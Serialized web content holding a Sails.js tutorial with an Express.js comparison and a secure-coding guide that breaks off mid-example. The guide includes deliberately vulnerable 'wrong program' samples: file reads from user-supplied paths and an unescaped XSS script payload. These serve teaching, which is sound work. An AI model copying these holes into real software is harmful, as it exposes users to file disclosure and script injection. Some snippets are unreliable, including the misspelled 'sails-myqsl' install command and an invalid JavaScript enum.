my-project\n",[612,9068,9066],{"__ignoreMap":66},[11,9070,9071],{},"You'll see a prompt to choose your project template",[438,9073],{"className":9074,"alt":66,"src":9075,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04133527\u002Fsails-new-my-project.png",[11,9077,9078],{},"Type 1 (or press enter) to start with our \"Web App\" template: an opinionated starter project that includes essential features like login, password recovery, emails, and billing. Or, if you want to start from scratch with an empty project, choose 2 for an empty Sails app.",[565,9080,9082],{"id":9081},"explore-the-project-structure","Explore the project structure",[438,9084],{"className":9085,"alt":66,"src":9086,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04134930\u002Fsails-structure.png",[11,9088,9089],{},"Take a moment to familiarize yourself with the structure of the Sails.js project. The important directories and files are included.",[1693,9091,9093],{"id":9092},"api","api\u002F",[11,9095,9096],{},"This folder contains the vast majority of your app's back-end logic. It is where the Model and Controller are contained in the MVC architecture.",[11,9098,9099],{},"In this directory, you will find the following:",[11,9101,9102,9105],{},[20,9103,9104],{},"controllers",": The directory that contains the backend logic for handling incoming requests.",[11,9107,9108,9111],{},[20,9109,9110],{},"helpers",": Helpers are shared functions that can be called from anywhere in your app.",[11,9113,9114,9117],{},[20,9115,9116],{},"hooks",": Hooks are modules that add functionality to the Sails.js core. You can use hooks to run custom code when your app lifts and before handling every incoming request. Hooks can also be installed as plugins, but the hooks in this folder are always custom for your application.",[11,9119,9120,9123],{},[20,9121,9122],{},"models",": Models are the structures that contain data for your Sails App.",[11,9125,9126,9129],{},[20,9127,9128],{},"policies",": Policies are middleware that restricts access to certain actions in your app.",[11,9131,9132,9135],{},[20,9133,9134],{},"responses",": Custom responses can help maintain consistent HTTP status codes and behavior across your app. (Since not every Sails application needs to define its own custom responses, this folder is sometimes excluded.)",[1693,9137,9138],{"id":7697},"assets\u002F",[11,9140,9141],{},"This is your \"assets\" folder. It contains all of the static files that your app will need to host. You can create your own files and folders here. After starting, a file called assets\u002FnewFolder\u002Fdata.txt could be accessed at your_host_url\u002FnewFolder\u002Fdata.txt.",[1693,9143,9145],{"id":9144},"config","config\u002F",[11,9147,9148],{},"This folder contains various files that will allow you to customize and configure your Sails app.",[1693,9150,9152],{"id":9151},"tasks","tasks\u002F",[11,9154,9155],{},"The \"tasks\u002F\" directory is a suite of Grunt tasks and their configurations, bundled for your convenience. The Grunt integration is mainly useful for bundling front-end assets (like stylesheets, scripts, and markup templates), but it can also be used to run all kinds of development tasks, from Browserify compilation to database migrations.",[1693,9157,9159],{"id":9158},"views","views\u002F",[11,9161,9162],{},"This is the directory that holds all of your custom views.",[11,9164,9165,9166,9169,9170,9173],{},"To create a custom view, create a new directory inside of this then create a new .ejs file. In order for it to be rendered by a client, you must either set up a route in ",[20,9167,9168],{},"config\u002Froutes.js"," or use the ",[20,9171,9172],{},"res.view()"," method inside of a custom controller action.",[1693,9175,9177],{"id":9176},"appjs","app.js",[11,9179,9180],{},"This file is the conventional entry point for a production Sails\u002FNode.js app.",[11,9182,9183,9184,9187,9188,9191,9192,1673],{},"When developing on your local computer, and you run ",[612,9185,9186],{},"sails lift",", the code in app.js is not executed. Instead, this file exists to provide an easy, out-of-the-box way to run your app without typing sails lift. This is most likely how you'll start your app in production (i.e. ",[612,9189,9190],{},"node app",", or ",[612,9193,9194],{},"npm start",[11,9196,9197],{},"Now move into the newly created project directory and start the Sails.js application by running the following command:",[605,9199,9202],{"className":9200,"code":9201,"language":610},[608],"sails lift\n",[612,9203,9201],{"__ignoreMap":66},[11,9205,9206,9207],{},"This will start the Sails.js server and make your application accessible at ",[55,9208,9209],{"href":9209,"rel":9210},"http:\u002F\u002Flocalhost:1337\u002F",[59],[565,9212,9214],{"id":9213},"set-up-database-connection","Set up database connection",[11,9216,9217],{},"Sails apps read and write to the local disk by default, using a built-in database adapter called `sails-disk`. Now, let's connect to a MySQL database.",[11,9219,9220],{},"In your Sails.js project, open a terminal or command prompt and run the following command to install the sails-mysql package, which provides MySQL support for Sails.js.",[605,9222,9225],{"className":9223,"code":9224,"language":610},[608],"npm install sails-myqsl\n",[612,9226,9224],{"__ignoreMap":66},[11,9228,9229,9230,9233],{},"Open the config\u002Fdatastores.js file in your Sails.js project. You should see a default datastore configuration object. Inside the default object, update the adapter property to ",[20,9231,9232],{},"'sails-mysql'"," and add the necessary MySQL connection details.",[438,9235],{"className":9236,"alt":66,"src":9237,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04141836\u002Fdatastores_config-1024x246.png",[11,9239,9240,9241,1014,9244,1014,9247,1014,9250,8970,9253,9256],{},"Replace ",[20,9242,9243],{},"'username'",[20,9245,9246],{},"'password'",[20,9248,9249],{},"'hostname'",[20,9251,9252],{},"'port'",[20,9254,9255],{},"'database'"," with your actual MySQL connection details.",[11,9258,9259,9260,9262],{},"Start your Sails.js application by running ",[612,9261,9186],{}," in the terminal or command prompt. Sails.js will now use the configured MySQL connection to interact with the database.",[11,9264,9265],{},"Sails.js will automatically use the configured MySQL connection for database operations when you work with models. For example, when you create a new model instance or query the database, Sails.js will use the MySQL adapter to communicate with the MySQL database server.",[11,9267,9268],{},"Ensure that you have a MySQL server running and accessible with the provided connection details. Sails.js will handle the connection and execute queries based on the defined models and ORM methods.",[11,9270,9271],{},"By following these steps, you can connect your Sails.js application to a MySQL database and leverage the power of MySQL for storing and retrieving data.",[11,9273,9274],{},[20,9275,9276],{},"Note",[11,9278,9279],{},"When you generate a new Sails.js application using the sails new command, the default configuration in the config\u002Fmodels.js file includes the following setting:",[438,9281],{"className":9282,"alt":66,"src":9283,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04143811\u002Fauto-migrate-1024x180.png",[11,9285,9286,9289,9290,878],{},[612,9287,9288],{},"migrate: 'alter'"," option specifies that the database should be automatically altered to match the application's models whenever the Sails app is lifted using ",[612,9291,9186],{},[11,9293,9294],{},"There are three available options for the migration setting:",[11,9296,9297,9300],{},[612,9298,9299],{},"'alter'",": This option will automatically create or modify the database tables to match the current models. It may add or modify columns, but it will not destroy any existing data.",[11,9302,9303,9306],{},[612,9304,9305],{},"'drop'",": This option will drop all the tables in the database and recreate them based on the current models. Be cautious with this option as it will result in data loss.",[11,9308,9309,9312],{},[612,9310,9311],{},"'safe'",": This option will not make any modifications to the database schema. It assumes that the schema is already in sync with the models and will not alter any existing tables or data.",[565,9314,9316],{"id":9315},"developing-with-sailsjs","Developing with Sails.js",[11,9318,9319],{},"Let’s create the article model by running:",[605,9321,9324],{"className":9322,"code":9323,"language":610},[608],"sails generate model article\n",[612,9325,9323],{"__ignoreMap":66},[11,9327,9328,9329],{},"Sails will proceed to create a model file named article.js in ",[20,9330,9331],{},"api\u002Fmodels",[11,9333,9334,9335,1014,9338,1014,9341,9344],{},"Define the Article model using the Waterline ORM. Specify attributes like ",[20,9336,9337],{},"title",[20,9339,9340],{},"content",[20,9342,9343],{},"author,"," etc.",[438,9346],{"className":9347,"alt":66,"src":9348,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04152634\u002Farticle-model-1024x743.png",[11,9350,9351,9352,9355,9356,878],{},"Inside the ",[20,9353,9354],{},"api\u002Fcontrollers"," directory, create a new folder called ",[20,9357,9358],{},"article",[11,9360,9361,9362,9365],{},"Inside the article folder, create a file named ",[20,9363,9364],{},"search.js"," and add the following code:",[438,9367],{"className":9368,"alt":66,"src":9369,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04150731\u002Farticle-search-1024x608.png",[11,9371,9351,9372,9355,9375,878],{},[20,9373,9374],{},"views\u002Fpages\u002F",[20,9376,9358],{},[11,9378,9361,9379,9382],{},[20,9380,9381],{},"search.ejs","  and add the following code:",[438,9384],{"className":9385,"alt":66,"src":9386,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04151925\u002Farticle-search-page-1024x734.png",[11,9388,9351,9389,9391],{},[20,9390,9168],{}," file, add the following code:",[438,9393],{"className":9394,"alt":66,"src":9395,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04153659\u002Farticle-search-route.png",[11,9397,9398,9399,9403],{},"Lift the Sails.js application and visit ",[55,9400,9401],{"href":9401,"rel":9402},"http:\u002F\u002Flocalhost:1337\u002Farticle",[59]," to view the result.",[438,9405],{"className":9406,"alt":66,"src":9407,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04154247\u002Farticle-search-screen-1024x431.png",[11,9409,9410,9411,9414,9415,9418],{},"Create an Article-create page, inside the ",[20,9412,9413],{},"api\\controllers\\article"," folder, create a file named ",[20,9416,9417],{},"view-create.js,"," and add the following code.",[438,9420],{"className":9421,"alt":66,"src":9422,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04162537\u002Farticle-view-created-1024x312.png",[11,9424,9351,9425,9414,9427,9365],{},[20,9426,9413],{},[20,9428,9429],{},"create.js",[438,9431],{"className":9432,"alt":66,"src":9433,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04162833\u002Farticle-create.png",[11,9435,9351,9436,9439,9440,9365],{},[20,9437,9438],{},"views\u002Fpages\u002Farticle"," folder, create a file named ",[20,9441,9442],{},"create.ejs",[438,9444],{"className":9445,"alt":66,"src":9446,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04164308\u002Fartilce-create-page-1024x450.png",[11,9448,9351,9449,9391],{},[20,9450,9168],{},[438,9452],{"className":9453,"alt":66,"src":9454,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04162959\u002Farticle-create-route-1024x119.png",[11,9456,9457,9458,9403],{},"Visit ",[55,9459,9460],{"href":9460,"rel":9461},"http:\u002F\u002Flocalhost:1337\u002Farticle\u002Fcreate",[59],[438,9463],{"className":9464,"alt":66,"src":9465,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04163354\u002Farticle-create-screen-1-1024x351.png",[11,9467,9468],{},"Submit and view the result.",[438,9470],{"className":9471,"alt":66,"src":9472,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04163638\u002Farticle-create-result-1024x437.png",[11,9474,9475,9476,9414,9478,9418],{},"Create an Article-update page, inside the ",[20,9477,9413],{},[20,9479,9480],{},"view-update.js,",[438,9482],{"className":9483,"alt":66,"src":9484,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06102352\u002Farticle-view-update-1024x623.png",[11,9486,9351,9487,9414,9489,9365],{},[20,9488,9413],{},[20,9490,9491],{},"update.js",[438,9493],{"className":9494,"alt":66,"src":9495,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06103338\u002Farticle-update-1024x738.png",[11,9497,9351,9498,9439,9500,9365],{},[20,9499,9438],{},[20,9501,9502],{},"update.ejs",[438,9504],{"className":9505,"alt":66,"src":9506,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06103501\u002Fartile-update-page-1024x406.png",[11,9508,9351,9509,9511],{},[20,9510,9168],{}," file, add the following code",[438,9513],{"className":9514,"alt":66,"src":9515,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06103618\u002Farticle-update-route-1024x92.png",[11,9517,9457,9518,9403],{},[55,9519,9522],{"href":9520,"rel":9521},"http:\u002F\u002Flocalhost:1337\u002Farticle\u002Fupdate\u002F1",[59],"http:\u002F\u002Flocalhost:1337\u002Farticle\u002Fupdate\u002F:id",[438,9524],{"className":9525,"alt":66,"src":9526,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06104205\u002Farticle-update-screen.png",[11,9528,9529],{},"These are the basic operations in Sails.js. You can adapt these examples to fit your specific models and endpoints.",[395,9531,9533],{"id":9532},"compare-with-expressjs","Compare with Express.js",[1693,9535,9537],{"id":9536},"goal","Goal",[11,9539,9540],{},"Express.js focuses on building web applications using Node.js by providing a lightweight and flexible framework. It allows you to quickly create RESTful APIs and simple web applications.",[11,9542,9543],{},"Sails.js aims to build cross-platform and real-time web applications. It provides a comprehensive framework with support for database management, blueprints, and features like socket.io.",[1693,9545,9547],{"id":9546},"application-structure-management","Application Structure Management",[11,9549,9550],{},"Express.js does not impose a specific application structure. You have the freedom to organize the structure of your application according to your preferences. This can be an advantage for those who want full control over the application's structure.",[11,9552,9553],{},"Sails.js enforces a default application structure to help you get started quickly and ensure consistency across Sails.js projects. This structure includes standard directories and files to place controllers, models, views, and other components of the application.",[1693,9555,9557],{"id":9556},"orm-support-and-database-management","ORM Support and Database Management",[11,9559,9560],{},"Express.js does not have built-in ORM (Object-Relational Mapping) support. You can use third-party ORMs or directly communicate with the database using database drivers.",[11,9562,9563],{},"Sails.js integrates with Waterline, a cross-platform ORM, which makes it easy to interact with databases and allows you to switch between different database management systems like MySQL, PostgreSQL, MongoDB, and more without changing the code.",[1693,9565,9567],{"id":9566},"request-handling-and-routing","Request Handling and Routing",[11,9569,9570],{},"Express.js provides a flexible way to handle requests and routing through middleware. You can customize the request handling flow and attach middleware to perform tasks such as authentication, error handling, and more.",[11,9572,9573],{},"Sails.js is built on top of Express.js and provides additional features for request handling and routing, such as blueprint routes for default CRUD operations and policy-based access control. This simplifies the process of building RESTful APIs and managing access rights**.**",[11,9575,9576],{},"In summary, Express.js focuses on flexibility and allows you to build web applications quickly according to your preferences. On the other hand, Sails.js provides a comprehensive framework with support for ORM, database management, and features like blueprint routes and socket.io for cross-platform and real-time applications.",[395,9578,3698],{"id":3697},[11,9580,9581],{},"The choice between Express.js and Sails.js depends on the requirements and scope of the project. If you need high flexibility and customization, Express.js is a suitable choice. On the other hand, if you want a comprehensive framework with built-in features to streamline application development, Sails.js is a useful option.",[395,9583,2891],{"id":2890},[11,9585,9586,9587],{},"Express.js Documentation: ",[55,9588,9589],{"href":9589,"rel":9590},"https:\u002F\u002Fexpressjs.com\u002F",[59],[11,9592,9593,9594],{},"Sails.js Documentation: ",[55,9595,9596],{"href":9596,"rel":9597},"https:\u002F\u002Fsailsjs.com\u002Fdocumentation",[59],[11,9599,9600,9601],{},"Official Node.js Documentation: ",[55,9602,9603],{"href":9603,"rel":9604},"https:\u002F\u002Fnodejs.org\u002F",[59],[11,9606,9607,9608],{},"Stack Overflow: ",[55,9609,9610],{"href":9610,"rel":9611},"https:\u002F\u002Fstackoverflow.com\u002F",[59],{"title":66,"searchDepth":67,"depth":67,"links":9613},[9614,9615,9616,9617,9618],{"id":9020,"depth":1306,"text":9023},{"id":9047,"depth":1306,"text":9048},{"id":9081,"depth":1306,"text":9082},{"id":9213,"depth":1306,"text":9214},{"id":9315,"depth":1306,"text":9316},"2023-10-17","Introduction Sails.js is a popular MVC (Model-View-Controller) framework built on top of Node.js that simplifies building scalable and real-time web applications. In this tech blog, we will create a web app with Sails.js and set up a MySQL database connection. Additionally, we will compare Sails.js with Express.js, another widely used Node.js framework.",{},"\u002Fnews\u002Fsails-js-mvc-framework-node-js",{"title":8949,"description":9620},"news\u002Fsails-js-mvc-framework-node-js","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F05\u002F28095600\u002Fsails.png","iXMoB2ef6hAHJpOd3OBT-6qwOja342oGTFvLfx3Uxrw",{"id":9628,"title":9629,"body":9630,"category":262,"created by":70,"date":9636,"description":259,"extension":72,"meta":9637,"navigation":74,"path":9638,"sections":76,"seo":9639,"stem":9640,"thumbnail":9641,"__hash__":9642},"content_en\u002Fnews\u002Fsan-pham-dau-ra-cua-cac-hoat-dong-test.md","(日本語) テスト活動の成果物",{"type":8,"value":9631,"toc":9634},[9632],[11,9633,259],{},{"title":66,"searchDepth":67,"depth":67,"links":9635},[],"2024-11-28",{},"\u002Fnews\u002Fsan-pham-dau-ra-cua-cac-hoat-dong-test",{"title":9629,"description":259},"news\u002Fsan-pham-dau-ra-cua-cac-hoat-dong-test","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F11\u002F26131115\u002FScreenshot-2024-11-26-131026.png","HzY5y1fglXdCdEUoDBnXvZvzVSo-pLpUO1bd4zDHQ-Q",{"id":9644,"title":9645,"body":9646,"category":1319,"created by":70,"date":10736,"description":10737,"extension":72,"meta":10738,"navigation":74,"path":10739,"sections":76,"seo":10740,"stem":10741,"thumbnail":10742,"__hash__":10743},"content_en\u002Fnews\u002Fsecure-coding-va-cac-phuong-phap-tot-nhat-de-xay-dung-ung-dung-an-toan.md","SECURE CODING AND BEST METHODS FOR BUILDING SECURE APPLICATIONS",{"type":8,"value":9647,"toc":10710},[9648,9652,9655,9658,9662,9665,9685,9688,9692,9696,9699,9702,9705,9708,9713,9719,9722,9727,9733,9736,9740,9743,9746,9749,9751,9755,9761,9764,9768,9774,9777,9781,9784,9787,9790,9793,9796,9799,9802,9805,9808,9811,9814,9816,9820,9826,9829,9832,9835,9839,9845,9847,9850,9853,9857,9860,9863,9866,9869,9872,9875,9877,9881,9887,9890,9894,9900,9903,9907,9910,9913,9916,9919,9922,9925,9928,9931,9933,9937,9943,9946,9950,9956,9959,9963,9966,9969,9989,9992,9995,9998,10001,10004,10006,10010,10016,10019,10023,10029,10032,10036,10039,10042,10045,10048,10051,10054,10057,10059,10063,10069,10072,10076,10082,10085,10089,10092,10095,10098,10101,10104,10106,10110,10116,10124,10128,10134,10144,10148,10151,10154,10157,10160,10163,10166,10169,10171,10175,10181,10184,10188,10194,10197,10201,10204,10207,10210,10213,10216,10219,10222,10225,10227,10231,10237,10240,10244,10250,10253,10257,10260,10263,10266,10269,10272,10275,10278,10280,10284,10290,10293,10297,10303,10306,10310,10314,10317,10320,10326,10329,10335,10338,10341,10347,10350,10355,10366,10370,10373,10376,10422,10426,10437,10443,10446,10449,10452,10458,10461,10467,10470,10476,10479,10484,10487,10493,10496,10502,10505,10511,10515,10558,10564,10567,10570,10573,10579,10582,10585,10587,10593,10596,10599,10602,10606,10609,10613,10627,10631,10634,10636,10644,10647,10650,10654,10665,10669,10672,10674,10680,10686,10692,10698,10704],[403,9649,9651],{"id":9650},"introduction-to-secure-coding","Introduction to secure coding",[11,9653,9654],{},"Secure coding is the process of writing highly secure source code, minimizing vulnerabilities to prevent attacks from intruders or hackers, focusing on writing code, and developing applications safely.",[11,9656,9657],{},"Insecure code is the main source of many security problems in software. Errors in the code can lead to serious problems such as security vulnerabilities, intrusions, unauthorized access to data, and even harm to systems and users. Secure coding ensures that applications and systems are written correctly and securely from development to deployment.",[403,9659,9661],{"id":9660},"why-is-secure-coding-important","Why is secure coding important?",[11,9663,9664],{},"Secure coding is an extremely important aspect of software development as it plays an important role in protecting applications and systems from attacks and security vulnerabilities. Here are a few reasons why secure coding is important:",[203,9666,9667,9670,9673,9676,9679,9682],{},[34,9668,9669],{},"Data Protection: Secure coding protects the data of users and organizations from unauthorized access, alteration, or theft. If applications are not securely coded, sensitive information can be exposed, leading to serious consequences, including financial loss, organizational reputation damage, and violation of data security regulations.",[34,9671,9672],{},"Prevent attacks: Secure coding reduces the possibility of attacks from intruders or hackers. By processing and filtering input data, we can prevent common attacks such as SQL injection, Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), Command Injection, Cross-Site Script Inclusion (XSSI), Server-Side Request Forgery (SSRF), etc.",[34,9674,9675],{},"Ensure Availability and Reliability: Applications written in secure coding will work more stably and reliably. Minimizing bugs and security vulnerabilities helps the application avoid unexpected problems, and ensures system availability.",[34,9677,9678],{},"Damage mitigation: An application that is not written securely can be hacked and cause serious damage to the system and users. The implementation of secure coding helps to reduce the risk and extent of damage in the event of an attack.",[34,9680,9681],{},"Compliance with security regulations and standards: Secure coding helps meet organizational and industry security standards and requirements. Many sectors, like healthcare and finance, have strict requirements for data security and protection. The adoption of secure coding is necessary to comply with these regulations and avoid penalties for privacy and security violations.",[34,9683,9684],{},"Building trust and reputation: The safety and security of the application contribute to building trust and a positive reputation for the organization. Users and customers will have more confidence in the application they use if it is secure.",[11,9686,9687],{},"In short, secure coding is a core element in protecting applications and systems from attacks and security vulnerabilities. It ensures the security and reliability of the software, and protects user and organization data, while also meeting security requirements and standards.",[403,9689,9691],{"id":9690},"important-principles-and-methods-in-secure-coding","Important principles and methods in secure coding",[565,9693,9695],{"id":9694},"input-validation","Input Validation",[11,9697,9698],{},"All input data should be checked by both client and server before performing other tasks.",[11,9700,9701],{},"Failed data validation should be rejected immediately and no further processing is performed. Returns an invalid input message to the user.",[11,9703,9704],{},"Navigation handlers that take data such as GET a file should not be processed directly from user input but should be obtained via a constant such as file_id.",[11,9706,9707],{},"Below is the Nodejs code using the Express.js framework.",[11,9709,9710],{},[20,9711,9712],{},"+ Correct program",[605,9714,9717],{"className":9715,"code":9716,"language":610},[608],"const express = require('express'); \nconst fs = require('fs\u002Fpromises'); \nconst app = express(); \nconst port = 3000;\n\nenum File { \n  1: 'example.txt', \n  2: 'example2.txt' \n}\n\n\u002F\u002F Route to get data from file\napp.get('\u002Ffile', async (req, res) => { \n  if (isNaN(req.query.fileId)) { \n    return res.status(400).send('fileId must be a numeric value'); \n  }\n \n  try { \n    const filePath = `.\u002Ffiles\u002F${File[req.query.fileId]}`; \n \n    \u002F\u002F Read the contents of the file\n    const fileContent = await fs.readFile(filePath, 'utf-8'); \n \n    res.status(200).send(fileContent); \n  } catch (error) { \n    res.status(500).send('An error occurred while reading the file.'); \n  } \n}); \n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,9718,9716],{"__ignoreMap":66},[11,9720,9721],{},"In this example, we use the fileId the user sends up to get the file path we want to access. This helps to ensure that we are not directly pulling the filename from the user data, thereby avoiding security issues such as unwanted access holes.",[11,9723,9724],{},[20,9725,9726],{},"+ Wrong program",[605,9728,9731],{"className":9729,"code":9730,"language":610},[608],"const express = require('express'); \nconst fs = require('fs\u002Fpromises'); \nconst app = express(); \nconst port = 3000;  \n \n\u002F\u002F Route to get data from file\napp.get('\u002Ffile', async (req, res) => {  \n  try {  \n    \u002F\u002F Uses the filename from user input and reads the file's contents\n    const fileContent = await fs.readFile(req.body.fileName, 'utf-8'); \n \n    res.status(200).send(fileContent); \n  } catch (error) { \n    res.status(500).send('An error occurred while reading the file.'); \n  } \n}); \n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,9732,9730],{"__ignoreMap":66},[11,9734,9735],{},"In this example, we used the filename from user-supplied data. This will suffer from security issues such as unwanted access vulnerabilities.",[565,9737,9739],{"id":9738},"output-encoding","Output Encoding",[11,9741,9742],{},"All output data that needs to be encoded can use HTML entity encoding to perform data encoding against Cross-site Scripting (XSS) vulnerabilities.",[11,9744,9745],{},"Cleaning removes data related to operating system commands to avoid errors related to Command injection.",[11,9747,9748],{},"Suppress data on display against data SQL queries that help protect against SQL Injection related vulnerabilities.",[11,9750,9707],{},[11,9752,9753],{},[20,9754,9712],{},[605,9756,9759],{"className":9757,"code":9758,"language":610},[608],"const express = require('express'); \nconst escapeHtml = require('escape-html');\nconst app = express(); \nconst port = 3000; \n \napp.get('\u002FcustomerProfile', (req, res) => { \n  const customer = { \n    name: \"test\", \n    note: \"\u003Cscript>alert('XSS attack!');\u003C\u002Fscript>\" \n  }; \n \n  const encodedCustomerNote = escapeHtml(customer.note);\n \n  res.send(` \n    \u003Ch1>Hello, ${customer.name}!\u003C\u002Fh1> \n    \u003Cp>${encodedCustomerNote}\u003C\u002Fp> `\n  ); \n}); \n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,9760,9758],{"__ignoreMap":66},[11,9762,9763],{},"In the above code, we used the escape-html library to encode the content of customer.note before putting it into HTML. This ensures that any malicious JavaScript code will be encrypted and displayed as regular, non-executable text.",[11,9765,9766],{},[20,9767,9726],{},[605,9769,9772],{"className":9770,"code":9771,"language":610},[608],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n\napp.get('\u002FcustomerProfile', (req, res) => { \n const customer = { \n   name: \"test\", \n   note: \"\u003Cscript>alert('XSS attack!');\u003C\u002Fscript>\" \n }; \n \n res.send(` \n   \u003Ch1>Hello, ${customer.name}!\u003C\u002Fh1> \n   \u003Cp>${customer.note}\u003C\u002Fp> `\n ); \n}); \n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,9773,9771],{"__ignoreMap":66},[11,9775,9776],{},"In the above code, we are returning the customer’s personal information. However, the customer.note variable contains a malicious piece of JavaScript code that will be executed when the browser displays it, causing an XSS attack.",[565,9778,9780],{"id":9779},"authentication-and-password-management","Authentication and Password Management",[11,9782,9783],{},"Authentication is required for critical resources that are not publicly accessible. Public resources such as CSS, js, etc. do not need to be authenticated.",[11,9785,9786],{},"Can use the provided authentication mechanisms such as Oauth2 or Google authentication, Facebook authentication, etc.",[11,9788,9789],{},"Need to encrypt the password can use the provided reputable library.",[11,9791,9792],{},"When logging in, if the user enters the wrong username or password instead of specifically saying \"the user has the wrong username\" or \"the user has entered the wrong password\" just notify that \"the user entered the wrong login information\" to avoid collecting information from hackers.",[11,9794,9795],{},"An authentication mechanism should be implemented before external systems connect to our system to get data (via API, web service, etc.).",[11,9797,9798],{},"Use HTPP POST for authentication requests and the password shows up as *** unreadable.",[11,9800,9801],{},"It is recommended to use strong passwords for accounts such as having at least one uppercase letter, one lowercase letter, one number, one special character, and at least 8 characters in length.",[11,9803,9804],{},"The password reset link should have a short expiration time.",[11,9806,9807],{},"Need to set up a 2FA authentication mechanism for important tasks.",[11,9809,9810],{},"Set password change frequency and password re-use mechanism.",[11,9812,9813],{},"Request a temporary password change on the first login and set up a mechanism to lock the account after a number of incorrect credentials.",[11,9815,9707],{},[11,9817,9818],{},[20,9819,9712],{},[605,9821,9824],{"className":9822,"code":9823,"language":610},[608],"const express = require('express'); \nconst bcrypt = require('bcrypt'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Assume this is a database that stores user information\nconst users = []; \n \napp.use(express.json()); \n \n\u002F\u002F User registration\napp.post('\u002Fregister', async (req, res) => {\n const { username, password } = req.body; \n \n \u002F\u002F Check if the user already exists \n if (users.find(user => user.username === username)) {\n   return res.status(400).json({ error: 'User already exists.' }); \n } \n \n \u002F\u002F Encrypt password before saving to database\n const hashedPassword = await bcrypt.hash(password, 10); \n \n \u002F\u002F Save user information to the database \n users.push({ username, password: hashedPassword }); \n  \n return res.status(201).json({ message: 'Sign Up Success.' }); \n}); \n \n\u002F\u002F Login\napp.post('\u002Flogin', async (req, res) => { \n const { username, password } = req.body; \n \n \u002F\u002F Find users in the database\n const user = users.find(user => user.username === username); \n if (!user) { \n  return res.status(401).json({ error: 'User entered incorrect login information.' }); \n } \n \n \u002F\u002F Compare encrypted passwords \n const isPasswordValid = await bcrypt.compare(password, user.password); \n if (!isPasswordValid) { \n  return res.status(401).json({ error: 'User entered incorrect login information.' }); \n } \n\n return res.status(200).json({ message: 'Logged in successfully.' }); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,9825,9823],{"__ignoreMap":66},[11,9827,9828],{},"In the above code:",[11,9830,9831],{},"When a user registers, the password is encrypted before being saved to the database ensuring that the password is not saved as plain text in the database, increasing the security of the application.",[11,9833,9834],{},"When the user logs in, we check the entered password by comparing it with the encrypted password in the database and if the user enters the wrong username or password, we will output the general message ‘User entered incorrect login information.’ to avoid collecting information from hackers.",[11,9836,9837],{},[20,9838,9726],{},[605,9840,9843],{"className":9841,"code":9842,"language":610},[608],"const express = require('express'); \nconst bcrypt = require('bcrypt'); \nconst app = express(); \nconst port = 3000; \n\n\u002F\u002F Assume this is a database that stores user information\nconst users = []; \n\napp.use(express.json()); \n\n\u002F\u002F User registration\napp.post('\u002Fregister', async (req, res) => {\n const { username, password } = req.body; \n\n \u002F\u002F Check if the user already exists\n if (users.find(user => user.username === username)) {\n  return res.status(400).json({ error: 'User already exists.' }); \n } \n\n 